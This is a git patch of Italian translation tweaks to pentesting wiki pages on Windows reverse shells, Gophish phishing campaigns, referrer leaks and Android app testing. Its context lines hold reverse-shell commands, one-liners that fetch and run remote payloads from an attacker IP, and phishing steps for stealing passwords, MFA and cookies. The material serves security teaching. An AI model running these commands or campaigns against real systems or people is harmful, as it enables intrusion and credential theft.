From 1eeb7b38faf04fd948580fcd66ccc34b61bf890b Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 18:48:02 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 18 +-- .../phishing-methodology/README.md | 24 ++-- src/interesting-http.md | 6 +- .../android-app-pentesting/README.md | 72 ++++++------ .../android-applications-basics.md | 48 ++++---- .../drozer-tutorial/README.md | 14 +-- .../make-apk-accept-ca-certificate.md | 2 +- .../iis-internet-information-services.md | 32 +++--- .../pentesting-web/wordpress.md | 32 +++--- src/pentesting-web/cache-deception/README.md | 46 ++++---- .../client-side-template-injection-csti.md | 4 +- .../README.md | 78 ++++++------- src/pentesting-web/deserialization/README.md | 68 +++++------ src/pentesting-web/open-redirect.md | 2 +- .../pocs-and-polygloths-cheatsheet/README.md | 16 +-- .../postmessage-vulnerabilities/README.md | 16 +-- src/pentesting-web/reverse-tab-nabbing.md | 6 +- ...inclusion-edge-side-inclusion-injection.md | 34 +++--- src/pentesting-web/websocket-attacks.md | 14 +-- .../xss-cross-site-scripting/README.md | 107 ++++++++---------- .../server-side-xss-dynamic-pdf.md | 22 ++-- src/todo/interesting-http.md | 6 +- .../create-msi-with-wix.md | 4 +- 23 files changed, 332 insertions(+), 339 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 013ff1b53..f283968ab 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,8 +4,8 @@ ## Lolbas -La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per Linux.\ -Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire azioni inaspettate come **eseguire codice arbitrario.** +La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\ +Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire qualche tipo di azioni inaspettate come **eseguire codice arbitrario.** ## NC ```bash @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe della distribuzione Kali Linux può essere utilizzata come sostituto affidabile di Netcat. +**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe dalla distribuzione Kali Linux può essere utilizzata come un sostituto affidabile di Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -87,7 +87,7 @@ Payload scritto su disco: **NO** (_almeno da nessuna parte che io possa trovare powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Processo che esegue una chiamata di rete: **svchost.exe**\ -Payload scritto su disco: **Cache locale del client WebDAV** +Payload scritto su disco: **WebDAV client local cache** **One liner:** ```bash @@ -113,7 +113,7 @@ mshta \\webdavserver\folder\payload.hta ```xml ``` -**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando l'hta stager** +**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager hta** #### esempio hta @@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll #### Regsvr32 -sct [**Da qui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -249,7 +249,7 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` -**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic usando il stager regsvr** +**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager regsvr** ## Certutil @@ -375,7 +375,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_, fai una copia dello script e aggiungi alla fine del file: +Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_ fai una copia dello script e aggiungi alla fine del file: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` @@ -399,7 +399,7 @@ Defender non lo rileva come codice malevolo (ancora, 3/04/2019). **Altre opzioni offerte da powercat:** -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Genera payload, Serve file... +Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index bb44a7408..13172fda1 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -22,7 +22,7 @@ ### Tecniche di Variazione del Nome di Dominio - **Parola chiave**: Il nome di dominio **contiene** una **parola chiave** importante del dominio originale (es., zelster.com-management.com). -- **sottodominio con trattino**: Cambiare il **punto in un trattino** di un sottodominio (es., www-zelster.com). +- **sottodominio con trattino**: Cambiare il **punto con un trattino** di un sottodominio (es., www-zelster.com). - **Nuovo TLD**: Stesso dominio utilizzando un **nuovo TLD** (es., zelster.org) - **Omo-glyph**: **sostituisce** una lettera nel nome di dominio con **lettere che sembrano simili** (es., zelfser.com). - **Trasposizione:** **scambia due lettere** all'interno del nome di dominio (es., zelsetr.com). @@ -255,10 +255,10 @@ v=DMARC1; p=none Devi **configurare un DKIM per il nuovo dominio**. Se non sai cos'è un record DMARC [**leggi questa pagina**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). -Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) +Questo tutorial è basato su: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) > [!NOTE] -> Devi concatenare entrambi i valori B64 che genera la chiave DKIM: +> Devi concatenare entrambi i valori B64 che la chiave DKIM genera: > > ``` > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB @@ -267,7 +267,7 @@ Questo tutorial si basa su: [https://www.digitalocean.com/community/tutorials/ho ### Testa il punteggio della tua configurazione email Puoi farlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ -Basta accedere alla pagina e inviare un'email all'indirizzo che ti forniscono: +Basta accedere alla pagina e inviare un'email all'indirizzo che ti danno: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` @@ -303,7 +303,7 @@ Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/]( - Imposta un **nome per identificare** il profilo del mittente - Decidi da quale account invierai le email di phishing. Suggerimenti: _noreply, support, servicedesk, salesforce..._ -- Puoi lasciare vuoti il nome utente e la password, ma assicurati di controllare Ignora Errori di Certificato +- Puoi lasciare vuoti il nome utente e la password, ma assicurati di selezionare Ignora Errori di Certificato ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) @@ -317,7 +317,7 @@ Puoi richiedere la rimozione del tuo dominio/IP su [https://sender.office.com/]( - Poi scrivi un **oggetto** (niente di strano, solo qualcosa che ti aspetteresti di leggere in una email normale) - Assicurati di aver selezionato "**Aggiungi Immagine di Tracciamento**" - Scrivi il **modello di email** (puoi usare variabili come nel seguente esempio): -```markup +```html @@ -344,9 +344,9 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare ![](<../../images/image (80).png>) > [!NOTE] -> Il Modello di Email consente anche di **allegare file da inviare**. Se desideri anche rubare le sfide NTLM utilizzando alcuni file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +> Il modello di email consente anche di **allegare file da inviare**. Se desideri anche rubare le sfide NTLM utilizzando alcuni file/documenti appositamente creati [leggi questa pagina](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). -### Pagina di Atterraggio +### Landing Page - Scrivi un **nome** - **Scrivi il codice HTML** della pagina web. Nota che puoi **importare** pagine web. @@ -356,11 +356,11 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare ![](<../../images/image (826).png>) > [!NOTE] -> Di solito dovrai modificare il codice HTML della pagina e fare alcuni test in locale (magari utilizzando un server Apache) **fino a quando non ti piacciono i risultati.** Poi, scrivi quel codice HTML nella casella.\ +> Di solito dovrai modificare il codice HTML della pagina e fare alcuni test in locale (magari usando un server Apache) **fino a quando non ti piacciono i risultati.** Poi, scrivi quel codice HTML nella casella.\ > Nota che se hai bisogno di **utilizzare alcune risorse statiche** per l'HTML (magari alcune pagine CSS e JS) puoi salvarle in _**/opt/gophish/static/endpoint**_ e poi accedervi da _**/static/\**_ > [!NOTE] -> Per il reindirizzamento potresti **reindirizzare gli utenti alla legittima pagina web principale** della vittima, o reindirizzarli a _/static/migration.html_ per esempio, mettere qualche **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**. +> Per il reindirizzamento potresti **reindirizzare gli utenti alla legittima pagina principale** della vittima, o reindirizzarli a _/static/migration.html_ per esempio, mettere qualche **ruota che gira (**[**https://loading.io/**](https://loading.io)**) per 5 secondi e poi indicare che il processo è stato completato con successo**. ### Utenti e Gruppi @@ -371,7 +371,7 @@ Nota che **per aumentare la credibilità dell'email**, è consigliato utilizzare ### Campagna -Infine, crea una campagna selezionando un nome, il modello di email, la pagina di atterraggio, l'URL, il profilo di invio e il gruppo. Nota che l'URL sarà il link inviato alle vittime. +Infine, crea una campagna selezionando un nome, il modello di email, la landing page, l'URL, il profilo di invio e il gruppo. Nota che l'URL sarà il link inviato alle vittime. Nota che il **Profilo di Invio consente di inviare un'email di prova per vedere come apparirà l'email di phishing finale**: @@ -414,7 +414,7 @@ L'attacco precedente è piuttosto astuto poiché stai falsificando un sito web r ### Via VNC -E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto di quella originale, lo invii a una **sessione VNC con un browser connesso alla pagina web reale**? Sarai in grado di vedere cosa fa, rubare la password, il MFA utilizzato, i cookie...\ +E se invece di **inviare la vittima a una pagina malevola** con lo stesso aspetto di quella originale, la invii a una **sessione VNC con un browser connesso alla pagina web reale**? Sarai in grado di vedere cosa fa, rubare la password, il MFA utilizzato, i cookie...\ Puoi farlo con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Rilevare la rilevazione diff --git a/src/interesting-http.md b/src/interesting-http.md index e8cc8b8f1..b26357b1c 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -1,12 +1,12 @@ {{#include ./banners/hacktricks-training.md}} -# Intestazioni e politica del referrer +# Intestazioni e politiche del referrer Il referrer è l'intestazione utilizzata dai browser per indicare quale fosse la pagina precedente visitata. ## Informazioni sensibili trapelate -Se in un certo momento all'interno di una pagina web si trovano informazioni sensibili nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET. +Se in un certo momento all'interno di una pagina web qualsiasi informazione sensibile si trova nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET. ## Mitigazione @@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url ## Contromisure Puoi sovrascrivere questa regola utilizzando un tag meta HTML (l'attaccante deve sfruttare un'iniezione HTML): -```markup +```html ``` diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index da1fbbee3..3bfa748c9 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Nozioni di Base sulle Applicazioni Android +## Nozioni di base sulle Applicazioni Android È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**: @@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Unisci tutti gli split e gli apk di base con [APKEditor](https://github.com/REAndroid/APKEditor): +- Unisci tutti i file divisi e le apk di base con [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -56,7 +56,7 @@ Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **UR **Firebase** -Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml @@ -77,9 +77,9 @@ Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi persona ### Tapjacking **Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\ -In effetti, sta **accecato l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**. +In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**. -Trova ulteriori informazioni in: +Trova maggiori informazioni in: {{#ref}} tapjacking.md @@ -89,7 +89,7 @@ tapjacking.md Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**). -Maggiori informazioni in: +Maggiore info in: {{#ref}} android-task-hijacking.md @@ -104,20 +104,20 @@ In Android, i file **memorizzati** nella **memoria interna** sono **progettati** 1. **Static Analysis:** - **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**. 2. **Dynamic Analysis:** -- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file. +- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file. **External Storage** -Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni: +Quando si trattano file su **memoria esterna**, come le schede SD, dovrebbero essere adottate alcune precauzioni: 1. **Accessibilità**: -- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file. +- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file. 2. **Preoccupazioni di Sicurezza**: -- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna. +- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** su memoria esterna. - La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura. 3. **Gestione dei Dati dalla Memoria Esterna**: -- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile. -- Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato. +- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale poiché i dati provengono da una fonte non attendibile. +- Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato. - Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione. La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` @@ -149,7 +149,7 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa **Utilizzo di algoritmi insicuri e/o deprecati** -Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale. +Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale. ### Altri controlli @@ -177,7 +177,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell ### Applicazioni Superpacked -Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** +Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** ### Analisi statica automatizzata del codice @@ -278,11 +278,11 @@ Il framework **basato su clipboard** di Android consente la funzionalità di cop **Log di crash** -Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che siano inviati tramite un canale SSL per la sicurezza. +Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza. Come pentester, **cerca di dare un'occhiata a questi log**. -**Dati analitici inviati a terzi** +**Dati di analisi inviati a terzi** Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti. @@ -309,12 +309,12 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**. Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.** -[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities) +[**Impara come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities) Puoi anche avviare un'attività esportata da adb: -- PackageName è com.example.demo -- Exported ActivityName è com.example.test.MainActivity +- Il nome del pacchetto è com.example.demo +- Il nome dell'attività esportata è com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking). +Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking). ### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili @@ -351,10 +351,10 @@ Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarl [**Leggi questo se vuoi rinfrescare cosa è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`. -Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\ +Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il ricevitore gestisce il messaggio, potrebbe essere vulnerabile.\ [**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers) -### **Sfruttare Schemi / Deep links** +### **Sfruttare Schemes / Deep links** Puoi cercare deep links manualmente, utilizzando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Puoi **aprire** uno **schema** dichiarato usando **adb** o un **browser**: @@ -362,7 +362,7 @@ Puoi **aprire** uno **schema** dichiarato usando **adb** o un **browser**: adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _Nota che puoi **omettere il nome del pacchetto** e il mobile chiamerà automaticamente l'app che dovrebbe aprire quel link._ -```markup +```html Click me @@ -468,7 +468,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f 5**, avvierà **automaticamente Frida** e imposterà le impostazioni del **proxy** globale per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata. +Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni **proxy** globali per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata. **Frida** @@ -559,7 +559,7 @@ Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere **Shell** -Mobsf ti offre anche una shell con alcuni comandi **adb**, **comandi MobSF** e comandi **shell** comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti: +Mobsf ti offre anche una shell con alcuni comandi **adb**, comandi **MobSF** e comandi **shell** comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti: ```bash help shell ls @@ -595,7 +595,7 @@ Questo è un **ottimo strumento per eseguire analisi statiche con una GUI** ### [Qark](https://github.com/linkedin/qark) -Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK impacchettati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" distribuibile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test. +Questo strumento è progettato per cercare diverse **vulnerabilità delle applicazioni Android relative alla sicurezza**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" distribuibile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -615,9 +615,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità. +SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità. -Tutte le regole sono concentrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno. +Tutte le regole sono centrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno. Scarica gli ultimi binari dalla [pagina di download](https://superanalyzer.rocks/download.html) ``` @@ -689,9 +689,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg (Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era: - caricare una risorsa come InputStream; -- fornire il risultato a una classe che eredita da FilterInputStream per decrittografarlo; -- fare un po' di offuscazione inutile per far perdere qualche minuto di tempo a un reverser; -- fornire il risultato decrittografato a un ZipInputStream per ottenere un file DEX; +- fornire il risultato a una classe che eredita da FilterInputStream per decrittarlo; +- fare un po' di offuscazione inutile per far perdere qualche minuto a un reverser; +- fornire il risultato decrittato a un ZipInputStream per ottenere un file DEX; - infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -700,9 +700,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg Puoi caricare un APK offuscato sulla loro piattaforma. -### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) -Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini. +Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Gemini di Google. ### [Simplify](https://github.com/CalebFenton/simplify) @@ -726,7 +726,7 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È una grande lista di risorse -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido su Android +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 9fc50a0d6..0b8a9bccc 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -89,11 +89,11 @@ Una volta che un dispositivo è rootato, qualsiasi app potrebbe richiedere acces - assets/ - Memorizza file vari necessari all'app, potenzialmente inclusi librerie native aggiuntive o file DEX, a volte utilizzati dagli autori di malware per nascondere codice aggiuntivo. - res/ -- Contiene risorse che non sono compilate in resources.arsc +- Contiene risorse che non sono compilate in resources.arsc. ### **Dalvik & Smali** -Nello sviluppo Android, **Java o Kotlin** vengono utilizzati per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Eseguibile (DEX)**. In precedenza, la macchina virtuale Dalvik gestiva 